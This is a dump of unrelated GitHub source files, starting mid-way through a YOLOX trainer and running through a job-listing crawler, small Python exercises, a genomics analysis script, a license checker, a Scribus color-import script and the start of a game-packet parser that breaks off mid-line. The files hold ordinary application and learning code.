{}\".format(datetime.timedelta(seconds=int(eta_seconds)))\n\n progress_str = \"epoch: {}/{}, iter: {}/{}\".format(\n self.epoch + 1, self.max_epoch, self.iter + 1, self.max_iter\n )\n loss_meter = self.meter.get_filtered_meter(\"loss\")\n\n # TODO: has to be modified after using uncertainty loss, but I don't know what is wrong?\n # loss_str = \", \".join(\n # [\"{}: {:.3f}\".format(k, v.latest) for k, v in loss_meter.items()]\n # )\n loss_str = \"\"\n for k, v in loss_meter.items():\n try:\n loss_str += \"{}: {:.3f} \".format(k, v.latest.item())\n except:\n loss_str += \"{}: {:.3f} \".format(k, v.latest)\n\n time_meter = self.meter.get_filtered_meter(\"time\")\n time_str = \", \".join(\n [\"{}: {:.3f}s\".format(k, v.avg) for k, v in time_meter.items()]\n )\n\n logger.info(\n \"{}, mem: {:.0f}Mb, {}, {}, lr: {:.3e}\".format(\n progress_str,\n gpu_mem_usage(),\n time_str,\n loss_str,\n self.meter[\"lr\"].latest,\n )\n + (\", size: {:d}, {}\".format(self.input_size[0], eta_str))\n )\n\n # TODO: log losses in tensorboard (0111)\n if self.rank == 0: # need this line, or will 'process.wait()'\n for k, v in loss_meter.items():\n self.tblogger.add_scalar(\"loss/\"+k, v.latest, self.epoch * self.max_iter + (self.iter+1))\n\n # TODO: log parameters of losses in tensorboard (0114)\n if self.rank == 0: # need this line, or will 'process.wait()'\n for k, v in self.loss_settings.items():\n self.tblogger.add_scalar(\"loss_settings/\"+k, v, self.epoch * self.max_iter + (self.iter+1))\n\n self.meter.clear_meters()\n\n # random resizing\n if self.exp.random_size is not None and (self.progress_in_iter + 1) % 10 == 0:\n self.input_size = self.exp.random_resize(\n self.train_loader, self.epoch, self.rank, self.is_distributed\n )\n\n @property\n def progress_in_iter(self):\n return self.epoch * self.max_iter + self.iter\n\n def resume_train(self, model):\n if self.args.resume:\n logger.info(\"resume training\")\n if self.args.ckpt is None:\n ckpt_file = os.path.join(self.file_name, \"latest\" + \"_ckpt.pth.tar\")\n else:\n ckpt_file = self.args.ckpt\n\n ckpt = torch.load(ckpt_file, map_location=self.device) # torch.load\n # resume the model/optimizer state dict\n model.load_state_dict(ckpt[\"model\"])\n self.optimizer.load_state_dict(ckpt[\"optimizer\"])\n start_epoch = (\n self.args.start_epoch - 1\n if self.args.start_epoch is not None\n else ckpt[\"start_epoch\"]\n )\n self.start_epoch = start_epoch\n logger.info(\n \"loaded checkpoint '{}' (epoch {})\".format(\n self.args.resume, self.start_epoch\n )\n ) # noqa\n else:\n if self.args.ckpt is not None:\n logger.info(\"loading checkpoint for fine tuning\")\n ckpt_file = self.args.ckpt\n ckpt = torch.load(ckpt_file, map_location=self.device)[\"model\"]\n model = load_ckpt(model, ckpt)\n self.start_epoch = 0\n\n return model\n\n def evaluate_and_save_model(self):\n evalmodel = self.ema_model.ema if self.use_model_ema else self.model\n ap50_95, ap50, summary = self.exp.eval(\n evalmodel, self.evaluator, self.is_distributed\n )\n self.model.train()\n if self.rank == 0:\n self.tblogger.add_scalar(\"val/COCOAP50\", ap50, self.epoch + 1)\n self.tblogger.add_scalar(\"val/COCOAP50_95\", ap50_95, self.epoch + 1)\n logger.info(\"\\n\" + summary)\n synchronize()\n\n #self.best_ap = max(self.best_ap, ap50_95)\n self.save_ckpt(\"last_epoch\", ap50 > self.best_ap)\n self.best_ap = max(self.best_ap, ap50)\n\n def save_ckpt(self, ckpt_name, update_best_ckpt=False):\n if self.rank == 0:\n save_model = self.ema_model.ema if self.use_model_ema else self.model\n logger.info(\"Save weights to {}\".format(self.file_name))\n ckpt_state = {\n \"start_epoch\": self.epoch + 1,\n \"model\": save_model.state_dict(),\n \"optimizer\": self.optimizer.state_dict(),\n }\n save_checkpoint(\n ckpt_state,\n update_best_ckpt,\n self.file_name,\n ckpt_name,\n )\n","repo_name":"HanGuangXin/ByteTrack_ReID","sub_path":"yolox/core/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":14674,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"31"} +{"seq_id":"72327946007","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\n\nimport json\n\nfrom flask import Flask\n\n# 사람이 한것처럼 하기\nimport time\nimport pyautogui\nimport pyperclip\n\nimport discord\nfrom discord.ext import commands\n\n\n#크롬 드라이버 자동 업데이트\nfrom webdriver_manager.chrome import ChromeDriverManager\n\nintents = discord.Intents.all()\nintents.typing = False # typing 이벤트 비활성화\nintents.presences = False # presence 이벤트 비활성화\nintents.message_content = True #v2\n\n#브라우저 꺼짐 방지\nchrome_options = Options()\nchrome_options.add_experimental_option(\"detach\", True)\n\n#불필요한 에러 메세지 없애기\nchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\n\nservice = Service(executable_path=ChromeDriverManager().install())\ndriver = webdriver.Chrome(service=service, options=chrome_options)\n\n# 웹페이지 해당 주소 이름\ndriver.implicitly_wait(3) # 웹페이지가 로딩 될때까지 5초를 기다린다.\ndriver.maximize_window() # 화면 최대화\n\n# 디스코드에서 사용할 수 있게 함수로 선언\ndef crawling_data(searchText):\n # 첫 페이지 로드\n driver.get(f\"https://www.saramin.co.kr/zf_user/jobs/list/job-category?&cat_kewd=84&loc_mcd=101000&keydownAccess=&exp_cd=1&searchword={searchText}&searchType=recently&panel_type=&search_optional_item=y&search_done=y&panel_count=y&preview=y\")\n\n # josn으로 restAPI에 담을 변수 선언\n result_json = []\n\n # 사람인 검색결과 div\n saramin_search_results = driver.find_elements(By.CSS_SELECTOR, \".list_item\")\n\n # 사람인 채용 정보 가져오기\n for info in saramin_search_results:\n # 사용 언어 리스트 변수\n notification_meta_result = []\n\n # 채용회사\n company_name = info.find_element(By.CSS_SELECTOR, \".company_nm > a > span\").text\n # print(f\"compay_name: {company_name}\")\n\n # 채용 제목\n notification_info_job_title = info.find_element(By.CSS_SELECTOR, \".notification_info .job_tit span\").text\n # print(f\"notification_info_job_title: {notification_info_job_title}\")\n\n # 사용 언어 \n notification_info_job_metas = info.find_elements(By.CSS_SELECTOR, \".notification_info .job_meta span\")\n\n for meta in notification_info_job_metas:\n job_meta_text = meta.text\n \"\"\" print(f\"job_meta_text: {job_meta_text}\") \"\"\"\n notification_meta_result.append(job_meta_text)\n\n # print(f\"notification_meta_result 첫번째: {notification_meta_result[0]}\")\n\n # 근무 장소\n work_place = info.find_element(By.CSS_SELECTOR, \".company_info .work_place\").text\n # print(f\"work_place: {work_place}\")\n\n # 마감일\n deadlines = info.find_element(By.CSS_SELECTOR, \".support_info .deadlines\").text\n deadline = deadlines.split('\\n')[0]\n # print(f\"deadline: {deadline}\")\n \n # json으로 변환\n data = {\n '채용회사': company_name,\n '채용제목': notification_info_job_title,\n '사용언어': notification_meta_result[0],\n '근무장소': work_place,\n '마감일': deadline\n }\n result_json.append(data)\n json_data = json.dumps(result_json, ensure_ascii=False)\n return json_data\n\n\n","repo_name":"coder-juyeon/python_study","sub_path":"BotProject/saramin_crawling.py","file_name":"saramin_crawling.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31956622321","text":"# List comprehension\n\npares = []\n\nfor num in range (1,31):\n if num % 2 == 0:\n pares.append(num)\n\n# Ejemplo con List comprehension\n\neven = [num for num in range(1,31) if num % 2 == 0]\n\nprint(f'Representacion tradicional lista {pares} \\nRepresentacion con list comprehension {even}')\n\n\n# Dicionarios comprehension\n\ncuadrados = {}\nfor num in range(1,11):\n cuadrados[num] = num**2\n \n # clarve: valor\nsquares = {num: num**2 for num in range(1,11)} \n\nprint(f'Representacion tradicional lista {cuadrados} \\nRepresentacion con list comprehension {squares}')\n","repo_name":"anbreaker/ejerciciosPythonRed","sub_path":"28_listComprehension.py","file_name":"28_listComprehension.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14708307264","text":"\n\n\n\n\n\n# tfsLncap = readBed(home + \"ALL.Prs.50.AllAg.LNCAP.bed\")\n# tfsLncap = sortBed(tfsLncap)\n\nhome2 = \"/kuacc/users/ualtintas20\"\n\nconBed = readBed(home2 + \"/regions/cons-arbs.bed\")\nconBed = sortBed(conBed)\n\n\nindBed = readBed(home2 + \"/regions/ind-arbs.bed\")\nindBed = sortBed(indBed)\n\n\n\nnonBed = readBed(home2 + \"/regions/Non-Active-ARBS.bed\")\nnonBed = sortBed(nonBed)\n\n\n# ProteinBeds = {\"arp\":arpBed,\n# \"ctc\":ctcBed,\n# \"fox\":foxBed,\n# \"med\":medBed,\n# \"ezh\":ezhBed,\n# \"ari\":ariBed,\n# \"pol\":polBed,\n# \"nmy\":nmyBed\n#\n# }\n\n\n\n\n\n\nhome = \"/kuacc/users/ualtintas20/LNCaP/BED\"\n\n\nproBed = readBed(home + \"/TSS.hg19.Idx.bed\")\nproBed = sortBed(proBed)\n\n# tsPBed = readBed(home + \"/tsPActivity.bed\")\n# tsPBed = sortBed(tsPBed)\n#\n#\n# tsMBed = readBed(home + \"/tsMActivity.bed\")\n# tsMBed = sortBed(tsMBed)\n\n\n# Histones = os.listdir(home + \"/Histones\")\n# HistoneBeds = {}\n# for histone in Histones:\n# histoneBed = readBed(home + \"/Histones/\" + histone)\n# histone = histone.split(\".\")[0]\n# histoneBed = sortBed(histoneBed)\n# HistoneBeds[histone] = histoneBed\n\n\nProteins = os.listdir(home + \"/Proteins\")\nProteinBeds = {}\nfor protein in Proteins:\n proteinBed = readBed(home + \"/Proteins/\" + protein)\n protein = protein.split(\".\")[0]\n proteinBed = sortBed(proteinBed)\n ProteinBeds[protein] = proteinBed\n\n\n\nmappingValCon, mappingsMatrixCon = oneWayRangeSearch(conBed, ProteinBeds)\n\nmappingValInd, mappingsMatrixInd = oneWayRangeSearch(indBed, ProteinBeds)\n\nmappingValNon, mappingsMatrixNon = oneWayRangeSearch(nonBed, ProteinBeds)\n\nmappingValPro, mappingsMatrixPro = oneWayRangeSearch(proBed, ProteinBeds)\n\n\n\n\n\n\nconDf = pd.DataFrame.from_dict(mappingsMatrixCon, orient=\"index\", columns=list(ProteinBeds.keys()))\nconDf[\"NodeClass\"] = \"con\"\n\nindDf = pd.DataFrame.from_dict(mappingsMatrixInd, orient=\"index\", columns=list(ProteinBeds.keys()))\nindDf[\"NodeClass\"] = \"ind\"\n\nnonDf = pd.DataFrame.from_dict(mappingsMatrixNon, orient=\"index\", columns=list(ProteinBeds.keys()))\nnonDf[\"NodeClass\"] = \"non\"\n\nproDf = pd.DataFrame.from_dict(mappingsMatrixPro, orient=\"index\", columns=list(ProteinBeds.keys()))\nproDf[\"NodeClass\"] = \"pro\"\n\n\nBoundDf = pd.concat([conDf, indDf, nonDf, proDf])\n\npickle.dump(BoundDf, open(\"BoundDf.p\", \"wb\"))\n\n\nBoundDf = pickle.load(open(\"BoundDf.p\", \"rb\"))\nboundDf = BoundDf.drop(columns=[\"NodeClass\"])\nArbsDf = BoundDf[BoundDf[\"NodeClass\"] != \"pro\"]\narbsDf = ArbsDf.drop(columns=[\"NodeClass\"])\n\n\nlut = dict(zip(ArbsDf[\"NodeClass\"].unique(), [\"red\",\"pink\", \"green\", \"yellow\"]))\nrow_colors = ArbsDf[\"NodeClass\"].map(lut)\n\n\nfig = plt.figure(figsize=[20,50])\nsns.clustermap(arbsDf, row_colors=row_colors, col_cluster=False)\nplt.show()\n\nfig = plt.figure(figsize=[20,50])\nsns.heatmap(boundDf,cmap=\"vlag\")\nplt.savefig(\"b.pdf\")\n\n\n\n# mappingsProteinsCon = mappingsProteins\n# nodeClass = [\"con\", \"ind\", \"non\"]\n# data = dict.fromkeys(nodeClass, {})\n\ndataCon = {}\nfor cre in mappingsMatrixCon.keys():\n dataCon[cre] = sum(mappingsMatrixCon[cre])\n\ndataInd = {}\nfor cre in mappingsMatrixInd.keys():\n dataInd[cre] = sum(mappingsMatrixInd[cre])\n\ndataNon = {}\nfor cre in mappingsMatrixNon.keys():\n dataNon[cre] = sum(mappingsMatrixNon[cre])\n\n\ndataPro = {}\nfor cre in mappingsMatrixPro.keys():\n dataPro[cre] = sum(mappingsMatrixPro[cre])\n\n\n\n\ndata = {\n \"non\": list(dataNon.values()),\n \"ind\": list(dataInd.values()),\n \"con\": list(dataCon.values()),\n \"pro\": list(dataPro.values())\n}\n\n\npickle.dump(data, open(\"mappingData.p\", \"wb\"))\n\n\ndata = pickle.load(open(\"mappingData.p\", \"rb\"))\n\ncombs = [[0, 2], [0, 1], [1, 2]]\n\n\n\n\ncombs = [\n[0, 3],\n[0, 2], [0, 1],\n[1, 3], [1, 2], [2, 3]]\n\nyDec = 1\ny1 = 19\nylim = [0,20]\n\n\ncolorPalette = [\"#d4f3ef\", \"#abf0e9\", \"#63b7af\", \"#ee8572\"]\n\nfig = plt.figure(figsize=(6,9))\nboxPlot(data=data, combs=combs, colorPalette=colorPalette, y1=y1, yDec=yDec, ylim=ylim, paired=False)\nplt.ylabel(\"# of Bound Protein\")\n\nfig.savefig(\"BoundProtein.pdf\")\n","repo_name":"birkiy/CisGraph","sub_path":"ProteinBound-Activity/ProteinBound/ProteinBound.py","file_name":"ProteinBound.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31582155494","text":"import unittest\nimport sys\n\nsys.path.append(\".\")\n\nfrom main import app\n\n\nclass PredictTestCase(unittest.TestCase):\n def setUp(self) -> None:\n self.ctx = app.app_context()\n self.ctx.push()\n self.client = app.test_client()\n\n def tearDown(self) -> None:\n self.ctx.pop()\n\n def test_post_predict(self):\n request_body = {\n \"average_consumer_price_inflation_index\": 85.95,\n \"continent\": \"Australia\",\n \"current_account_balance\": -10.668,\n \"employment\": 7.666,\n \"implied_ppp_conversion_rate\": 17.023,\n \"gross_nation_savings\": 20.897,\n \"unemployment_rate\": 5.392,\n \"population\": 17.719\n }\n response = self.client.post(\"/\", json=request_body)\n assert response.status_code == 200\n assert response.json.get(\"GDPPC\", False)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"jimmykamau/gdp_predictor","sub_path":"api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41899755402","text":"import urllib.request as urllib2\nfrom licensing.models import *\nfrom licensing.methods import Key, Helpers\n\nclass AuthManager:\n def __init__(self, access_token, RSAPubKey, pID):\n self.rsa_pub_key = RSAPubKey\n self.access_token = access_token\n self.product_id = pID\n self.connected = False\n self.result = []\n\n def check_connnection(self):\n try:\n urllib2.urlopen('http:google.com', timeout=1)\n self.connected = True\n except urllib2.URLError as err:\n self.connected = False\n \n def get_expiration(self):\n return str(self.result[0].expires)\n \n def authorize(self, key):\n self.check_connnection()\n if self.connected:\n self.result = Key.activate(token=self.access_token,\\\n rsa_pub_key=self.rsa_pub_key,\\\n product_id=17806, \\\n key=key,\\\n machine_code=Helpers.GetMachineCode(v=2))\n if self.result[0] == None or not Helpers.IsOnRightMachine(self.result[0], v=2):\n return False\n else:\n return True\n else:\n return False","repo_name":"Brandon82/PyAuthClient","sub_path":"authmanager.py","file_name":"authmanager.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"363992645","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the icecreamParlor function below.\ndef icecreamParlor(m, arr):\n mapping = {}\n for i, val in enumerate(arr):\n if m-val in mapping:\n return [mapping[m-val], i+1]\n mapping[val] = i+1\n \n \nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n t = int(input())\n\n for t_itr in range(t):\n m = int(input())\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n result = icecreamParlor(m, arr)\n\n fptr.write(' '.join(map(str, result)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"victorplusc/Algorithms","sub_path":"Hackerrank/Ice Cream Parlor.py","file_name":"Ice Cream Parlor.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"20163998488","text":"import requests\nimport os\ndef downPic(pic_url,path='pic'):\n if os.path.exists(pic_url):\n print('文件已存在!')\n return\n try:\n pic= requests.get(pic_url, timeout=10)\n except requests.exceptions.ConnectionError:\n print('【错误】当前图片无法下载')\n fp = open(path,'wb')\n fp.write(pic.content)\n fp.close()\n\ndef mkdir(path):\n # 去除首位空格\n path=path.strip()\n # 去除尾部 \\ 符号\n path=path.rstrip(\"\\\\\")\n # 判断路径是否存在\n isExists=os.path.exists(path)\n # 判断结果\n if not isExists:\n # 如果不存在则创建目录\n # 创建目录操作函数\n os.makedirs(path)\n print (path+' 创建成功')\n return True\n else:\n # 如果目录存在则不创建,并提示目录已存在\n print (path+' 目录已存在')\n return False","repo_name":"yirenzhi/learn-python","sub_path":"testSelenium/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25661524592","text":"# blackjack\nimport os\nimport random\n\ncards=[11,1,2,3,4,5,6,7,8,9,10,10,10,10]\n\ndef blackjack():\n dealersCard = []\n dealersCard.append(random.choice(cards))\n dealersCard.append(random.choice(cards))\n\n playerCard = []\n playerCard.append(random.choice(cards))\n playerCard.append(random.choice(cards))\n\n print(f'ur cards are: {playerCard}')\n print(f\"the dealers cards are: [?,{dealersCard[1]}]\")\n\n\n userChoice = input('do u want to take ur chances or draw?y/n:').lower()\n\n if userChoice == 'y':\n playerCard.append(random.choice(cards))\n print(f'ur cards are: {playerCard} = {sum(playerCard)}')\n totalPlayer = sum(playerCard)\n if totalPlayer > 21:\n print(f'u exceeded the limit! so you lose')\n else:\n totalDealer = sum(dealersCard)\n print(f'the player cards are: {playerCard} = {totalPlayer}\\nthe dealers cards are: {dealersCard} = {totalDealer}')\n if totalPlayer > totalDealer:\n print(f'you win')\n elif totalPlayer < totalDealer:\n print(f'you lose')\n else:\n print(f'its a tie')\n elif userChoice == 'n':\n totalPlayer = sum(playerCard)\n totalDealer = sum(dealersCard)\n print(f'the player cards are: {playerCard} = {totalPlayer}\\nthe dealers cards are: {dealersCard} = {totalDealer}')\n if totalPlayer > totalDealer:\n print(f'you win')\n elif totalPlayer < totalDealer:\n print(f'you lose')\n else:\n print(f'its a tie')\n\n repeat =input(\"do you want to repeat y/n?\").lower()\n if repeat == 'y':\n os.system('cls')\n blackjack()\n if repeat == 'n':\n exit()\nblackjack()","repo_name":"assersamir03/blackjack","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"858885308","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nABOUT THIS SCRIPT:\n\nImport Colors from a CSV file to Scribus\n\ncsv2color.py allows a user to import colors from a given csv file into a scribus document. \nThe file must be a text file with comma separated values in the following format:\n\n\"colorname\", c,m,y,k \r\n\r\nThere must be a document opend in scribus where the colors can be defined in. \r\nIf the csv contains one or more color names that already exist in the document, the colors will be imported with a `*` as prefix.\r\n\r\nThis script is especially helpful if you want to use CMYK color representations of color systems like HKS, Pantone or RAL in Scribus. Lots of such CMYK translation tables can be found on the Web. \r\nOne can easily copy such a table into a text file, save it in the obove described format and import it into a scribus document.\r\n\nUse color2csv to export the colors from a scribus document into a csv file.\n\n############################\n\nLICENSE:\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nAuthor: Sebastian Stetter\n\nplease report bugs to: scribusscript@sebastianstetter.de\n\"\"\"\nfrom __future__ import division\nimport sys\n\n__version__=1.1\n\n\ntry:\n # Please do not use 'from scribus import *' . If you must use a 'from import',\n # Do so _after_ the 'import scribus' and only import the names you need, such\n # as commonly used constants.\n import scribus\nexcept ImportError as err:\n print (\"This Python script is written for the Scribus scripting interface.\")\n print (\"It can only be run from within Scribus.\")\n sys.exit(1)\n\n#########################\n# YOUR IMPORTS GO HERE #\n#########################\nimport csv\nimport os\n\nPREFIX=\"*\"\n\ndef checkValue(c, m, y, k):\n \"\"\"returns true if the cmyk values are between 0 and 255\"\"\"\n MINVAL=0\n MAXVAL=255\n valueOk=True\n for val in c, m, y, k:\n if val >=MINVAL and val <=255:\n pass\n else:\n valueOk=False\n \n return valueOk\n\ndef getColorsFromCsv(filename):\n \"\"\"get colors from csv file and return a list with name and cmyk 255 values\"\"\"\n csvreader=csv.reader(open(filename, \"r\"))\n\n csvcolors=[]\n i=0\n for row in csvreader:\n name=row[0]\n name=name.strip()\n c=int(row[1] )* 2.55\n c=int(c)\n m=int(row[2] )* 2.55\n m=int(m)\n y=int(row[3] )* 2.55\n y=int(y)\n k=int(row[4] )* 2.55\n k=int(k) \n if checkValue(c, m, y, k) ==False:\n scribus.messageBox(\"csv2color\", \"At least one CMYK value in your csv file is not correct \\n(must be between 0 and 100)\\nAborting script - nothing imported.\", icon=scribus.ICON_WARNING)\n sys.exit()\n else:\n pass\n color=(name, c, m, y, k)\n csvcolors.append(color)\n i=i+1\n return csvcolors\n\ndef getColorDict():\n \"\"\"get the colors that already exist from the opened Document and return a dictionary\"\"\"\n scribus.statusMessage(\"Reading existing colors...\")\n colornames = scribus.getColorNames()\n scribus.progressTotal(len(colornames))\n i=0\n colordict={}\n for name in colornames:\n colordict[name]=None\n i=i+1\n scribus.progressSet(i)\n return colordict #we can ask this dict if the color already exists\n \ndef importColors(colorlist):\n \"\"\"check if colors exists an import\"\"\"\n colordict=getColorDict()\n scribus.statusMessage(\"Defining new colors...\")\n scribus.progressTotal(len(colorlist))\n i=0\n for color in colorlist:\n name=color[0]\n c=color[1]\n m=color[2]\n y=color[3]\n k=color[4]\n while name in colordict:# check if color already exists - then add PREFIX to name\n name = PREFIX+name\n \n scribus.defineColorCMYK(name, c, m, y, k)\n i=i+1\n scribus.progressSet(i)\n\ndef main(argv):\n \"\"\"Main method for importing colors.\"\"\"\n if not scribus.haveDoc() > 0: #do we have a doc?\n scribus.messageBox(\"csv2color\", \"No document to import colors \\n Please open one, first.\")\n sys.exit()\n else:\n filename=scribus.fileDialog(\"csv2color\", \"CSV files(*.csv *.CSV *.txt *.TXT)\")\n while os.path.isdir(filename):\n filename=scribus.fileDialog(\"csv2color\", \"CSV files(*.csv *.CSV *.txt *.TXT)\") #proper filename?\n else:\n try:\n colorlist=getColorsFromCsv(filename)\n messagestring = \"You are going to import %i colors \\n This may take a while\" % len(colorlist)\n answer = scribus.messageBox(\"csv2color\", messagestring, button1=scribus.BUTTON_OK, button2=scribus.BUTTON_CANCEL)\n if answer != scribus.BUTTON_OK:\n sys.exit()\n else:\n importColors(colorlist)\n scribus.docChanged(True)\n scribus.messageBox(\"csv2color\", \"Colors imported! \\n Thank you for using csv2color and Scribus!\")\n except:\n scribus.messageBox(\"csv2color\", \"Could not import file!\", icon=scribus.ICON_WARNING)\n sys.exit()\n \n\n\ndef main_wrapper(argv):\n \"\"\"The main_wrapper() function disables redrawing, sets a sensible generic\n status bar message, and optionally sets up the progress bar. It then runs\n the main() function. Once everything finishes it cleans up after the main()\n function, making sure everything is sane before the script terminates.\"\"\"\n try:\n #scribus.statusMessage(\"Running script...\")\n scribus.progressReset()\n main(argv)\n finally:\n # Exit neatly even if the script terminated with an exception,\n # so we leave the progress bar and status bar blank and make sure\n # drawing is enabled.\n if scribus.haveDoc():\n scribus.setRedraw(True)\n scribus.statusMessage(\"\")\n scribus.progressReset()\n\n# This code detects if the script is being run as a script, or imported as a module.\n# It only runs main() if being run as a script. This permits you to import your script\n# and control it manually for debugging.\nif __name__ == '__main__':\n main_wrapper(sys.argv)\n","repo_name":"scribusproject/scribus","sub_path":"scribus/plugins/scriptplugin/scripts/csv2color.py","file_name":"csv2color.py","file_ext":"py","file_size_in_byte":6848,"program_lang":"python","lang":"en","doc_type":"code","stars":333,"dataset":"github-code","pt":"31"} +{"seq_id":"41072747185","text":"#!/usr/bin/env python\n \nimport queue\nimport threading\nimport time\nimport logger\nimport packet as pkt\nimport struct\n\n###########################################################################################################################################################################\n## This class will parse our packets into nice data structures\n## Packets are stored in a queue, where they're looked at before they're passed on.\n###########################################################################################################################################################################\nclass Parser:\n\n\t## This \"global\" is only set if we are a server who has caught the first packet.\n\tPLAYERID = ''\n\n\t###########################################################################################################################################################################\n\t## Thread to take the raw data stream and convert it into packets.\n\t###########################################################################################################################################################################\n\tdef packetise(self, log):\n\t\tlog.addAndPrint(self.name + \": Packetiser thread started.\")\n\t\tdata = b''\n\n\t\t# (CLIENT) The first packet received from the client is our init packet. That needs to be passed on unchanged.\n\t\t# (SERVER) The first packet received from the server contains our ID - handy!\n\t\t# The second packet, and those thereafter, are lovely too. Why not count them up?\n\t\tpacketTotal = 0\n\n\t\twhile(not self.die):\n\t\t\ttry:\n\t\t\t\t# get an element from the data stream\n\t\t\t\t# we might have some data left over after packetising last time - add our new data to the end of that \n\t\t\t\t\n\t\n\t\t\t\tdata = data + self.dataStreamQueue.get(True, 1)\n\t\t\t\t#print(\"RAW: [\" + data.hex() + \"]\")\n\n\t\t\t\t# Try to process this packet (unless the Special Cases just below instruct otherwise)\n\t\t\t\tdone = False\n\n\t\t\t\t# The first couple of packets are special - handle them separately.\n\t\t\t\tif(packetTotal == 0):\t\t\t\t\t\t\t\t# A very special packet...\n\t\t\t\t\tif(self.isClient):\t\t\t\t\t\t\t\t# ...from the client! An InitPacket for us to pass on. Always 38 bytes in length.\t\t\t\t\t\n\t\t\t\t\t\tif(len(data) >= 38):\n\t\t\t\t\t\t\tpacket = pkt.InitPacket(data[:38])\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \"Init packet; Raw: [\" + packet.raw.hex() + \"]\")\n\t\t\t\t\t\t\tself.packetQueue.put(packet)\t# send it on\n\t\t\t\t\t\t\tpacketTotal = 1\n\t\t\t\t\t\t\t# clear it from our data\n\t\t\t\t\t\t\tdata = b''\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t## we're missing some data - wrap around and get more.\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\n\t\t\t\t\t\t# Either we got a full packet and passed it on, or we got a bit of a packet and couldn't.\n\t\t\t\t\t\t# Either way, don't go through the packetisation step - either go around and get another set of data after this, or get the second (and subsequent!) packets.\n\t\t\t\t\t\tdone = True\n\t\t\t\t\t\n\t\t\t\t\telse:\t\t\t\t\t\t\t\t\t\t\t\t\t# ...from the server! A packet containing our ID - have a goggle at that and pass it on. Always 22 bytes in length.\n\t\t\t\t\t\tif(len(data) >= 22):\n\t\t\t\t\t\t\tParser.PLAYERID = data[:4]\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \": Player ID is \" + Parser.PLAYERID.hex())\n\t\t\t\t\t\t\tpacket = pkt.UnknownPacket(data[:38])\t\t\n\t\t\t\t\t\t\tself.packetQueue.put(packet)\t# send it on\n\t\t\t\t\t\t\tpacketTotal = 1\n\t\t\t\t\t\t\t# clear it from our data\n\t\t\t\t\t\t\tdata = b''\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t## we're missing some data - wrap around and get more.\n\t\t\t\t\t\t\tpass\n\t\t\n\t\t\t\t\t\t# again, no packetisation please\n\t\t\t\t\t\tdone = True\n\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t# The first two characters of this data will ALWAYS (hopefully) be a packet header.\n\t\t\t\t# If we don't get a whole packet, we leave it in data and wait until it's all in there before we cut it out.\n\t\t\t\t# Conversely, there may be multiple packets in this one stream - indeed, the game likes to do that a lot. We need to cut them all out separately.\n\t\t\t\twhile(done == False):\n\t\t\t\t\t# We're gonna make a packet\n\t\t\t\t\tpacket = None\n\n\t\t\t\t\t# We've got to instantiate the right packet object for our packet. Search for a header\n\t\t\t\t\tpackettype = data[:2] # first two bytes are the header\n\t\t\t\t\t\n\t\t\t\t\t# check to make sure we have the full length of data for that packet - the rest of it might not be here yet.\n\t\t\t\t\t# The expected length is stored in the packetlist we got from our gameproxy.\n\t\t\t\t\ttry:\n\t\t\t\t\t\tlength = self.packetlist[packettype][1]\n\t\t\t\t\texcept KeyError as e:\n\t\t\t\t\t\t# we don't know what this packet is, as it's not in our list... uh oh. We can't packetise it if we don't know how long it should be.\t\n\t\t\t\t\t\t# We really must know ALL the packet types before this will work perfectly.\n\t\t\t\t\t\t# We can just packetise the whole thing raw and spit it out; however, if there are multiple packets in this data, we'll miss the ones that come after.\n\t\t\t\t\t\t# That's a shame, but we'll probably survive.\n\t\t\t\t\t\tpacket=pkt.UnknownPacket(data)\n\t\t\t\t\t\t\n\t\t\t\t\t\t# check if we wanna log unknown packets being displayed\n\t\t\t\t\t\tif(self.packetlist[b'??'][2] == True):\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \": Unknown packet [\" + packet.toHex() + \"]\" + \"; 